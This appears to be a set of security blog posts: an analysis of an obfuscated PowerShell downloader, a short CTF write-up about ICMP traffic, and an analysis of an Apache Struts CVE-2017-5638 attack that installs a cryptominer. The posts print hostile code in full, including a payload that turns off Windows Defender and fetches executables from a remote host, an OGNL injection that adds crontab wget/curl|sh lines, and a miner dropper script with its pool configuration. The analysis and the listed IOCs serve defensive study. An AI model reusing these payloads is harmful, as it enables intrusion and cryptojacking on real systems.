PS C:\Users\Fossil\Desktop> echo $WC.Headers['User-Agent'];
PowerShell/WL+ Microsoft Windows 7 Ultimate
We can see the attacker is assigning/using specific User-Agent when fetching the file. That’s why when we try to wget/curl the file directly, it failed.
So what we need to do is set the User-Agent exactly the same as above when fetching the file. In this case, I’m using curl to fetch the file:
root@leopardbox:~# curl -v -H User-Agent: "PowerShell/WL Microsoft Windows 7 Professional" http://111.230.229.226/images/test/DL.php
* Trying 111.230.229.226...
* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)
> GET /images/test/DL.php HTTP/1.1
> Host: 111.230.229.226
> Accept: */*
> User-Agent: PowerShell/WL Microsoft Windows 7 Professional
<
< HTTP/1.1 200 OK
< Date: Sun, 29 Apr 2018 11:50:23 GMT
< Server: Apache/2.2.21 (Win32) PHP/5.3.10
< X-Powered-By: PHP/5.3.10
< Content-Length: 2539
< Content-Type: text/html
<
$EncodedCompressedFile = '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';$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);$UncompressedFileBytes = New-Object Byte[](3948);$Null=$DeflatedStream.Read($UncompressedFileBytes, 0, 3948);([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX;
Ah.. Now see young padawan? Previously if the file been fetch without the User-Agent, it will failed/throw error 404. Again, we see another set of base64 encoding here.
But what is it?
I’m not an expert to explain this, but TL;DR, it convert the base64 encoded string to a memory stream and executes it. I guess ¯_(ツ)_/¯
So, to see what happen if this command executes, we can use this Python script below to decode it. With this script, we can basically see what are those base64 are doing.
We’ll create a Python script named “decodeb64.py“. Copy the base64 we found above, paste it after the encoded parameters; as example below:
#!/usr/bin/python
import base64
import zlib
encoded = "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"
# [Convert]::FromBase64String
decoded = base64.b64decode(encoded)
# IO.Compression.DeflateStream
# 15 is the default parameter, negative makes it ignore the gzip header
decompressed = zlib.decompress(decoded, -15)
print decompressed
Save the script and run the Python script as below:
C:\Users\Fossil\Desktop>python decodeb64.py > output_DL_php.txt
This will save all the output from your CMD to text file for easier to ready.
P/S : Your can rename output_DL_php.txt to any filename that you want.
Let’s see whats inside the text file:
$MutexName = 'Global\20180419'
$bCreated = $Flase
$hMutex = New-Object System.Threading.Mutex($true,$MutexName,[Ref]$bCreated)
if ($bCreated)
{
Start-Sleep 180
$hMutex.ReleaseMutex()
}
else
{
Exit
}
#Update
$WmiName = 'root\cimv2:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
Write-Host "[i] Old PId: $mPId"
Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$WmiName = 'root\default:PowerShell_Command'
$mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties['mPId'].Value
if ($mPId -ne $Null) {
Write-Host "[i] Old PId: $mPId"
Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force
}
$SrvName = "ZhuDongFangYu", "NisSrv","MsMpSvc","WdNisSvc","WinDefend", "MBAMService","a2AntiMalware"
foreach ($Srv in $SrvName)
{
# Set-Service -Name $Srv -StartupType Disabled -ErrorAction SilentlyContinue
# Stop-Service -Name $Srv -Force -ErrorAction SilentlyContinue
$Null = SC.exe Config $Srv Start= Disabled
$Null = SC.exe Stop $Srv
}
$ProName = "ZhuDongFangYu", "MsMpEng","MpCmdRun","msseces","NisSrv","MSASCui", "mbamtray","mbamservice","a2service"
foreach ($Pro in $ProName)
{
Get-Process -Name $Pro -ErrorAction SilentlyContinue | Stop-Process -Force
}
$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\SpyNet" /v "SpyNetReporting" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Microsoft\Windows Defender\Exclusions\Paths" /v "$Env:WinDir" /t REG_DWORD /d 0 /f
$Null = Reg.exe Add "HKLM\SoftWare\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\NisSrv /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\MsMpSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WdNisSvc /v Start /t REG_DWORD /d 4 /f
$Null = Reg.exe Add HKLM\System\CurrentControlSet\Services\WinDefend /v Start /t REG_DWORD /d 4 /f
$Script = "Start-Sleep (Get-Random -Min 60 -Max 300);IEX (New-Object Net.WebClient).DownloadString('http://111.230.229.226/images/def/DL.ps1');";
$ScriptBytes = [System.Text.Encoding]::Unicode.GetBytes($Script);
$EncodedScript = [System.Convert]::ToBase64String($ScriptBytes);
$Path = "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\PowerShell.exe"
$Argv = "-NoP -NonI -EP ByPass -W Hidden -E $EncodedScript"
$Process = Start-Process -FilePath $Path -ArgumentList $Argv -WindowStyle Hidden -PassThru
$ProcessId = $($Process.Id)
if ($ProcessId -ne $Null)
{
Write-Host "[+] Neutrino PS Process Id is $ProcessId"
}
else
{
Write-Host "[-] Neutrino PS Process Id is NULL"
}
#Downloader
$x86 = "http://111.230.229.226/images/test/x86.exe"
$x64 = "http://111.230.229.226/images/test/x64.exe"
$File = "$Env:WinDir\Temp\lsass.eXe"
$WC = New-Object System.Net.WebClient
$Dir = "$Env:WinDir\Temp";
if (!(Test-Path $Dir)){ New-Item $Dir -Type Directory; }
if (!((Get-Item $File -Force) -is [IO.FileInfo])) { Remove-Item $File -Force -ErrorAction SilentlyContinue }
$OS = (Get-WmiObject Win32_ComputerSystem).SystemType
$SO = (Get-WmiObject Win32_OperatingSystem).OSArchitecture
if (($OS -Match '64') -Or ($SO -Match '64'))
{
Write-Host "[i] OS 64-bit"
$WC.DownloadFile($x64, $File)
if ((Test-Path $File) -eq $False)
{
$WC.DownloadFile("http://111.230.229.226/images/test/x64_VMP.exe", $File)
}
}
else
{
Write-Host '[i] OS 32-bit'
$WC.DownloadFile($x86, $File)
if ((Test-Path $File) -eq $False)
{
$WC.DownloadFile("http://111.230.229.226/images/test/x86_VMP.exe", $File)
}
}
if (Test-Path $File)
{
Write-Host '[+] Downloaded'
$Null = NetSH Firewall Add AllowedProgram $File "Windows Update" Enable
IEX $WC.DownloadString('http://111.230.229.226/images/test/WMI.ps1')
}
else
{
Write-Host '[-] Fail To Download'
}
As you can see, the command is doing bunch of stuff that I’m lazy to explain 😉
Hope you enjoy reading this.
Here’s some of IOCs that I managed to gather:
017eba5231a63782bdd1d7c8beff5b0b *DL.php
bee2f2223729166c264037a82fa4fed3 *DL.ps1
b5065178c574936a1b7e477929ba1075 *lsass.eXe
1dd6bc7549913b64595540bc77059415 *Neutrino.ps1
dfcb19949d55d35e5d3f1dd569218ce4 *WMI.ps1
ec5e6097038be59e7311f9de8d6354d6 *x64.exe
35cb2b208085bcb5b93ea6420f01c92b *x64_VMP.exe
2129a8287215558e5870c7cc89d0a8fe *x86.exe
c11dbd4777d6ec2b434c424e201c0e6b *x86_VMP.exe
References:
https://gist.githubusercontent.com/strazzere/5faa709a3db9e1dcf3b5/raw/42b98a918bac3725934bcfa3087ac5936d9b88d1/decrypt.py
http://threat.tevora.com/5-minute-forensics-decoding-powershell-payloads/
Wargames 2017 – Challenge 9 : unreachable
The question is:
"The critical server seems unreachable. The sysadmin tries to identify the cause of it..but weird..he is doing it backwardly."
http://files.wargames.my/2/p100.7zv
and the hint given to us:
so… RFC 792 – something related to ICMP/ping yada yada
so we open the pcap file in Wireshark, view only ICMP protocol:
we can see ICMP traffic involving 2 IPs; 192.168.1.8 & 192.168.1.10
after digging around, I find out there is some “unique differences” at ping identification number; offset 0010. this involving IP 192.168.1.8:
lets use tshark to see it clearly:
tshark -r pcap1-100_1_copy.pcapng -x 'icmp and ip.src==192.168.1.8' | grep 0010
as noted in the hint above; “he is tracing backwardly.”
so the flag is: flag_is_p!ngp0ng~
but actually…. the flag is: p!ngp0ng~ =.=’
Shell hiding in image files
One day, we noticed strange GET request towards our JBoss server:
GET /login.action HTTP/1.1
Host: X.X.X.X
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Content-Type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
From the request above, you’ll quickly noticed that this attack leveraging Apache Struts vulnerability from CVE-2017-5638.
The request tried to execute command below:
#cmd='echo "48 * * * * wget -O - -q http://91.230.47.41/pics/logo.jpg|sh\n18 * * * * curl http://91.230.47.41/pics/logo.jpg|sh" | crontab -'
Some explanations:
“-O” : writes the documents to file.
“-” : if – is used as file, documents will be printed to standard output, disabling link conversion.
“-q” : quiet (no output)
As you see, it tried to fetch a .jpg file from 91.230.47.41. Seems normal right?
Let’s fetch that file & take a look inside it:
root@mybox:~/a# file logo.jpg
logo.jpg: POSIX shell script, ASCII text executable
ASCII?? Not JPG?? hmm..
Lets see what’s inside the “logo.jpg” file:
root@mybox:~/a# cat logo.jpg
#!/bin/sh
rm -rf /tmp/systemd-logind
rm -rf /tmp/logind.conf
rm -rf /tmp/kworker
rm -rf /tmp/kworker.conf
rm -rf /tmp/kauditd.conf
pkill -f stratum
pkill -f "/tmp/apache"
pkill -f "/tmp/httpd.conf"
pkill -f cryptonight
pkill -f qivtpwwuxs
ps auxf|grep -v grep|grep -v smzgmilpdo|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qivtpwwuxs"|awk '{print $2}'|xargs kill -9
ps -fe|grep smzgmilpdo|grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
chmod 777 /tmp/smzgmilpdo.conf
rm -rf /tmp/smzgmilpdo.conf
curl -o /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
wget -O /tmp/smzgmilpdo.conf http://91.230.47.41/pics/kworker.conf
chmod 777 /tmp/kauditd
rm -rf /tmp/kauditd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker
else
curl -o /tmp/kauditd http://91.230.47.41/pics/kworker_na
wget -O /tmp/kauditd http://91.230.47.41/pics/kworker_na
fi
chmod +x /tmp/kauditd
cd /tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
nohup ./kauditd -c smzgmilpdo.conf -t `echo $cores` >/dev/null &
else
echo "runing....."
fi
We noticed there are several other file fetched; possibly a config file & bin file.
Let’s fetch those file!
Here is the config file:
http://91.230.47.41/pics/kworker.conf
{{
"url" : "stratum+tcp://212.129.44.157:80",
"url" : "stratum+tcp://212.129.46.87:80",
"url" : "stratum+tcp://212.129.44.156:80",
"url" : "stratum+tcp://212.129.46.191:80",
"url" : "stratum+tcp://62.210.29.108:80",
"url" : "stratum+tcp://212.83.129.195:80",
"url" : "stratum+tcp://212.129.44.155:80",
"user" : "466iRjZzJZZWAqzV24ywY8XMVNkp9hj8UJiBEf61Eui6Nw8bEAJ1z434LWM3SKdaDyH7zgNY64rgg2fYmw8cbP5uBjpMA8g",
"pass" : "x",
"algo" : "cryptonight",
"quiet" : true
}
Not sure it is. Maybe some sort of config file for cryptomining. Lets analyze the other 2 files.
First file: http://91.230.47.41/pics/kworker
root@leopardbox:~/91.230.47.41# file kworker
kworker: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
hmm.. an executable Linux file..
Lets see if the file is packed:
root@leopardbox:~/91.230.47.41# upx -l kworker
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011
File size Ratio Format Name
-------------------- ------ ----------- -----------
2979640 -> 1217152 40.85% linux/ElfAMD kworker
Yup. so lets unpacked the file using UPX:
root@leopardbox:~/91.230.47.41# upx -d kworker
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011
File size Ratio Format Name
-------------------- ------ ----------- -----------
2980813 <- 1217152 40.83% linux/ElfAMD kworker
Unpacked 1 file.
root@leopardbox:~/91.230.47.41# upx -l kworker
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: kworker1: NotPackedException: not packed by UPX
Another file: http://91.230.47.41/pics/kworker_na
root@leopardbox:~/91.230.47.41# file kworker_na
kworker_na: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0eedc33c49aeb80818a839a9b23cf159c710e443, stripped
root@leopardbox:~/91.230.47.41# upx -l kworker_na
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2011
UPX 3.08 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 12th 2011
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: kworker_na: NotPackedException: not packed by UPX
Overall, looks like the attacker want to hack our servers & turn it into his own crypto currency mining machine.
Typical behavior of attack we see in this time where the crypto currency is rising. People hack to make profit. 🙂
Here the MD5 for file above:
211e98ac0686fe98d06570ad0689e9b3 logo.jpg
d2a01b844521fb141b8449f4d8e1c821 kworker.conf
483b322b42835227d98f523f9df5c6fc kworker (upx packed)
4fa4269b7ce44bfce5ef574e6a37c38f kworker (upx unpacked)
131df88b7d0b3e7a1c4d84c37e71fb60 kworker_na